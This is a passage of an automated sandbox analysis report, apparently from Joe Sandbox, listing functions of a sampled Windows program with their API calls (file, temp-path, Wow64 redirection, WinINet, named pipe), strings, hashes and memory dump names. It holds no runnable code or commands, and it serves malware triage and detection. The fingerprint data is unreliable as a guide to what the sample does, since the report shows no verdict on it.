API ID: Init_thread_footer$HeapProcess_wcschr
String ID: \\?\$\\?\UNC\
API String ID: 978982089-3019864461
Opcode ID: 4ba27c66985af34806c70de0641c83867e65e4736b276928bf718bc79a91a5dd
Instruction ID: 28f8ab18a54ffcb1403127214c2eaf5e420f18c86813a85d53db545348788a46
Opcode Fuzzy Hash: 4ba27c66985af34806c70de0641c83867e65e4736b276928bf718bc79a91a5dd
Instruction Fuzzy Hash: 31C1BF71A1060A9BDB00DFA8CC49BEEF7B9FF54310F148269E515E72D1EB789914CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002B66D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,?,?,003E6FD4,00000001,?), ref: 002B67DA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,003BB955,000000FF,?,002F56E9), ref: 002B67E8

Strings

V/, xrefs: 002B682F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: V/
API String ID: 1375471231-3051789135
Opcode ID: a6ed3f788e7b593ddb909667a9c9b228a34b50cca0f73debc13e1ac8ae875bfa
Instruction ID: 3de531cdd6dcf4816b73097917f04db3108164cad2b593ee19a02ed6f1b70c17
Opcode Fuzzy Hash: a6ed3f788e7b593ddb909667a9c9b228a34b50cca0f73debc13e1ac8ae875bfa
Instruction Fuzzy Hash: 25619C71E102099BDB10DFA8C889BDDBBB5EF15360F148269E815A72D1DB38A909CB50

Uniqueness

Uniqueness Score: -1.00%

Function 002BF610 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002BF280: GetTempPathW.KERNEL32(00000104,?), ref: 002BF369
Part of subcall function 002BF280: GetTempFileNameW.KERNEL32(?,shim_clone,00000000,?), ref: 002BF39A
Part of subcall function 002BF280: Wow64DisableWow64FsRedirection.KERNEL32(00000000,?), ref: 002BF3CD

GetLastError.KERNEL32(?,00000000), ref: 002BF6CE
DeleteFileW.KERNEL32(?), ref: 002BF6E1

Strings

Shlwapi.dll, xrefs: 002BF610, 002BF648

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: FileTempWow64$DeleteDisableErrorLastNamePathRedirection
String ID: Shlwapi.dll
API String ID: 145603228-1687636465
Opcode ID: a724ed0d8a0be5cb6f192d72e5d6888f1b9d5839da20bc4d4eb6fb660a351b0c
Instruction ID: 6fd57661c62060cbaccbdc959d20870b424f653fa026ec74cdd3167fb0b605b6
Opcode Fuzzy Hash: a724ed0d8a0be5cb6f192d72e5d6888f1b9d5839da20bc4d4eb6fb660a351b0c
Instruction Fuzzy Hash: E231AD72D10209EBCB05CFA5CD44BEEBBBCFF18350F14412AE815A7291DB359914CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 002F41E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000), ref: 002F4245
CloseHandle.KERNEL32(?), ref: 002F4299

Strings

t=, xrefs: 002F4284

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CloseFreeHandleLibrary
String ID: t=
API String ID: 10933145-4144653439
Opcode ID: a80349ac0b5467257d57903e37fbcd3d99cc34d4d9ed063b04fbb43a27b22de1
Instruction ID: a501b55088fba24e57c77a2278f72ab66f23e5bb09cd223c62b00025c02ba9e0
Opcode Fuzzy Hash: a80349ac0b5467257d57903e37fbcd3d99cc34d4d9ed063b04fbb43a27b22de1
Instruction Fuzzy Hash: F72159B1604705AFD700CF6AED58B66BBE8FB04716F000229E914C73A1DBB8E910CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00348EF1 Relevance: 5.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000008,?,001C5767,?,?,001C5514,?), ref: 00348EF6
HeapAlloc.KERNEL32(00000000,?,?,001C5514,?), ref: 00348EFD
GetProcessHeap.KERNEL32(00000000,00000000,?,?,001C5514,?), ref: 00348F43
HeapFree.KERNEL32(00000000,?,?,001C5514,?), ref: 00348F4A

Part of subcall function 00348D8F: GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00348F39,00000000,?,?,001C5514,?), ref: 00348DB3
Part of subcall function 00348D8F: HeapAlloc.KERNEL32(00000000,?,?,001C5514,?), ref: 00348DBA

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$Process$Alloc$Free
String ID:
API String ID: 1864747095-0
Opcode ID: 17195c034c2c7cab67f84915614fb70d1e3bc79047baaa7f6febf313f5a44b27
Instruction ID: 816c21f98af7f07007989d27359cbd9a5d74e628341841880d2704a84e366088
Opcode Fuzzy Hash: 17195c034c2c7cab67f84915614fb70d1e3bc79047baaa7f6febf313f5a44b27
Instruction Fuzzy Hash: 04F02472A0572187CB232BF87C0CE5E2ADEAF80792B114428F509CE540DF20FC058B60

Uniqueness

Uniqueness Score: -1.00%

Function 001BF9C0 Relevance: 4.8, APIs: 3, Instructions: 256fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,00000000,00000000,?,DF534560,?,00000000), ref: 001BFA32
MoveFileW.KERNEL32(?,00000000), ref: 001BFC45

Part of subcall function 001BF9C0: DeleteFileW.KERNEL32(?), ref: 001BFC8F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$DeleteMoveNameTemp
String ID:
API String ID: 788073729-0
Opcode ID: 80cabe4d5b9a7994ed19145ee492d8f508b92da3ee9ae7801e8aa7f6fe3066a4
Instruction ID: cebef488361e5ca9b932ed69721e937621bcfea98d6b40bbb1add06f9947e347
Opcode Fuzzy Hash: 80cabe4d5b9a7994ed19145ee492d8f508b92da3ee9ae7801e8aa7f6fe3066a4
Instruction Fuzzy Hash: C1C16770C14268DADB24DF68CD987DDBBB4BF64304F1042D9D409A7291EBB56B88CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00362D3B Relevance: 4.7, APIs: 3, Instructions: 202COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 00362EEA

Part of subcall function 00361737: RtlAllocateHeap.NTDLL(00000000,00369290,?,?,00369290,00000220,?,?,?), ref: 00361769

__freea.LIBCMT ref: 00362EFF
__freea.LIBCMT ref: 00362F0F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: __freea$AllocateHeap
String ID:
API String ID: 2243444508-0
Opcode ID: e878aed470dd3954dfe1a7b99a20dc218605b283df0ad3c6289edcacef3e5e9b
Instruction ID: 419132634b6aaf85d398679dbbe7dd947e8fb84e7e2a91076869484d77faec2c
Opcode Fuzzy Hash: e878aed470dd3954dfe1a7b99a20dc218605b283df0ad3c6289edcacef3e5e9b
Instruction Fuzzy Hash: E851B572600A16AFEB229F64CC81EBB7AA9EF44354F1B8139FD04DB158EB31DD109760

Uniqueness

Uniqueness Score: -1.00%

Function 002D86E0 Relevance: 4.7, APIs: 3, Instructions: 191fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000,DF534560,?,?), ref: 002D8747
ReadFile.KERNEL32(?,00000000,00000018,?,00000000), ref: 002D8854

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: 38bb6732e9b54c3e96135397628d9f046fd5cc2f15eeadb5417a29763cc93e0d
Instruction ID: 6bc23240d1dc5ff77474294636fbc5b4db48c5d310ef6a32cbd2bc0d690af9b9
Opcode Fuzzy Hash: 38bb6732e9b54c3e96135397628d9f046fd5cc2f15eeadb5417a29763cc93e0d
Instruction Fuzzy Hash: 3A617F71D00609AFDB05DFA8C945BDDFBB4FB09320F14836AE925A7390DB75AA14CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002D5C70 Relevance: 4.7, APIs: 3, Instructions: 183fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,DF534560,?,00000000,?,80004005,?,00000000), ref: 002D5D0E
GetLastError.KERNEL32 ref: 002D5D46
GetLastError.KERNEL32(?), ref: 002D5DDF

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ErrorLast$CreateFile
String ID:
API String ID: 1722934493-0
Opcode ID: 8680aa9def4c77cebc1f07703b7eb06a24130baf7edee61ff065d4f3d86baeb0
Instruction ID: 09ea5316a49dbbf898c2e5aba59c71c362f798827d688bc4e8bc698165ac4c03
Opcode Fuzzy Hash: 8680aa9def4c77cebc1f07703b7eb06a24130baf7edee61ff065d4f3d86baeb0
Instruction Fuzzy Hash: 8651B371A10A169FDB10EF68C845B9AF7B5FF44320F10866EE529973D0EB71AD11CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A565730 Relevance: 4.7, APIs: 3, Instructions: 162COMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI(?,AA831995,?,00000000,?,00000010,00000000,?,?,AA831995,?,00000000), ref: 6A565779
CreateDirectoryW.KERNEL32(?,00000000,?,?,6A5B7184,00000001,?,00000000,?), ref: 6A565827
GetLastError.KERNEL32 ref: 6A565831

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath
String ID:
API String ID: 953296794-0
Opcode ID: 91dc5a16de59bc361a5e9a8565b1f6f6c1662e81c7098353763fc06571eacc9c
Instruction ID: feb7a11cf69d1d8332b7c9de163e2f6e1c8eda6d13f9008d299a6273cdcf9b59
Opcode Fuzzy Hash: 91dc5a16de59bc361a5e9a8565b1f6f6c1662e81c7098353763fc06571eacc9c
Instruction Fuzzy Hash: 1651C031A00609DBDB01DFA8C848BDDFBB4FF45324F1542A9E515A72A2DF31AD05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A565D70 Relevance: 4.6, APIs: 3, Instructions: 56networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?,AA831995,?,?,?,?,6A59E8A6,000000FF), ref: 6A565DB6
InternetCloseHandle.WININET(?,AA831995,?,?,?,?,6A59E8A6,000000FF), ref: 6A565DD2
InternetCloseHandle.WININET(?,AA831995,?,?,?,?,6A59E8A6,000000FF), ref: 6A565DF1

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CloseHandleInternet
String ID:
API String ID: 1081599783-0
Opcode ID: a80e3d94b476c0d1f3d154482f58d972111bcddeefded708e9de2a5f0787305e
Instruction ID: f628ce4a149bdb0e074d1a685809ab28f46d2b67c36ef279bdf6462493ab4cdd
Opcode Fuzzy Hash: a80e3d94b476c0d1f3d154482f58d972111bcddeefded708e9de2a5f0787305e
Instruction Fuzzy Hash: 6D1182B1900708ABD720CF59C805B4BFBF8EF15710F014A1EE862D7791DBB5EA048B90

Uniqueness

Uniqueness Score: -1.00%

Function 0035E9ED Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0035E9E7,?,?,?,?,DF534560), ref: 0035E9FE
TerminateProcess.KERNEL32(00000000,?,0035E9E7,?,?,?,?,DF534560), ref: 0035EA05
ExitProcess.KERNEL32 ref: 0035EA17

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: f9c5b23609a17e9d66df6261f26a799dd8eb9759840fc599f1efa4f297ad6509
Instruction ID: 7fc5ba87bed353165a0c2743fd0c068e8400fc97c5f25f405c6668ac2c4c5f41
Opcode Fuzzy Hash: f9c5b23609a17e9d66df6261f26a799dd8eb9759840fc599f1efa4f297ad6509
Instruction Fuzzy Hash: 76D06C31010208ABCF176FB0DC1EC9A7F2ABA41346B055510F90E9A132CB31AA9A9B80

Uniqueness

Uniqueness Score: -1.00%

Function 002D6150 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 403COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 002D656D

Strings

.msi, xrefs: 002D6541, 002D6553, 002D655B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: _wcsrchr
String ID: .msi
API String ID: 1752292252-299543723
Opcode ID: 8fdc782b9df0a3645f0723323a2d81763e4160859a2a7364a8cf18aa92cba692
Instruction ID: 3fd74604b81be2e5e8a116da8a65806efeef25d3b838c9f95588594be26dd8b4
Opcode Fuzzy Hash: 8fdc782b9df0a3645f0723323a2d81763e4160859a2a7364a8cf18aa92cba692
Instruction Fuzzy Hash: 54E1D171A1064A9FDB14CF68C848BAEB7B5FF14314F14866AE821AB391D774ED24CF90

Uniqueness

Uniqueness Score: -1.00%

Function 002CE4A0 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

Part of subcall function 002CE310: GetTickCount.KERNEL32 ref: 002CE394
Part of subcall function 002CE310: __Xtime_get_ticks.LIBCPMT ref: 002CE39C
Part of subcall function 002CE310: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002CE3E6

Part of subcall function 002EF190: GetLastError.KERNEL32 ref: 002EF224
Part of subcall function 002EF190: GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000), ref: 002EF2A2
Part of subcall function 002EF190: GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000,00000000,00000000), ref: 002EF2EC

__Init_thread_footer.LIBCMT ref: 002CE5E1

Strings

\/:*?"<>|, xrefs: 002CE5A3

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: EnvironmentVariable$CountErrorInit_thread_footerLastTickUnothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@
String ID: \/:*?"<>|
API String ID: 1610684550-3830478854
Opcode ID: 25fdf2e784be864ec53a2008ce7d1004d6cf58cfd34d0f9abe3d8c62c8274971
Instruction ID: 00a5936fcd3e136cd17a84087b5ebae72546becca1a2ebe9f8df0b92d2ee9adb
Opcode Fuzzy Hash: 25fdf2e784be864ec53a2008ce7d1004d6cf58cfd34d0f9abe3d8c62c8274971
Instruction Fuzzy Hash: 8BE19B70D10258DFDB20DF68C855BEEBBB4BF65304F1442ADD409AB282DBB46A48CF91

Uniqueness

Uniqueness Score: -1.00%

Function 002F0E70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,DF534560,?,00000010,?,?,0037422E,000000FF), ref: 002F0EF8

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

Part of subcall function 002F0D10: ConnectNamedPipe.KERNEL32(?,00000000,DF534560,?,000000FF,?,?,00000000,003BABD6,000000FF,?,002F0F2A,000000FF,?,00000001), ref: 002F0D4C
Part of subcall function 002F0D10: GetLastError.KERNEL32(?,?,00000000,003BABD6,000000FF,?,002F0F2A,000000FF,?,00000001), ref: 002F0D56

Strings

\\.\pipe\ToServer, xrefs: 002F0FB4, 002F0FC5, 002F0FCF

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$ConnectErrorFileHeapLastNamedPipeProcessWrite
String ID: \\.\pipe\ToServer
API String ID: 3549655173-63420281
Opcode ID: c965d3e80e2c4407f7168c7e90130b9b20c9ea1676726f7d3428c5ac54705345
Instruction ID: 5bdee681acded01406de19ee64ece5e1a8873c1d880f615a479e82e3b15bb12a
Opcode Fuzzy Hash: c965d3e80e2c4407f7168c7e90130b9b20c9ea1676726f7d3428c5ac54705345
Instruction Fuzzy Hash: 0741CC72604209EFDB14CF58C845BAEB7E8EB44724F10866EFA15DB381DBB5A900CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00345D68 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00345D0F

Part of subcall function 0034680C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0034687F
Part of subcall function 0034680C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00346890

Strings

h]4, xrefs: 00345D09, 00345D68

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: h]4
API String ID: 1269201914-2535756838
Opcode ID: a72a9b2d789fc3a0182be0cdbdb56f3b48f73d1d32564827cced6c6d5f12e60f
Instruction ID: d691a5419d386cdbd255e42f98e3d03bb224c489da54918206ef0a3845b1add3
Opcode Fuzzy Hash: a72a9b2d789fc3a0182be0cdbdb56f3b48f73d1d32564827cced6c6d5f12e60f
Instruction Fuzzy Hash: 07B012E7A59601BD324656096C07D37038CC8C1F11331893BB404CC052E4482C441136

Uniqueness

Uniqueness Score: -1.00%

Function 6A5612C0 Relevance: 3.3, APIs: 2, Instructions: 327networkCOMMON

Download Yara Rule

APIs

Part of subcall function 6A547E10: GetProcessHeap.KERNEL32 ref: 6A547E6C

InternetCrackUrlW.WININET(?,00000000,00000000,0000003C,?,?,00000000,AA831995), ref: 6A56136A
GetLastError.KERNEL32 ref: 6A561377

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: CrackErrorHeapInternetLastProcess
String ID:
API String ID: 303965512-0
Opcode ID: e5598fa738ae25870cdd8ecbedbddb79db48f7d080ce203b7ab99da4de626ad4
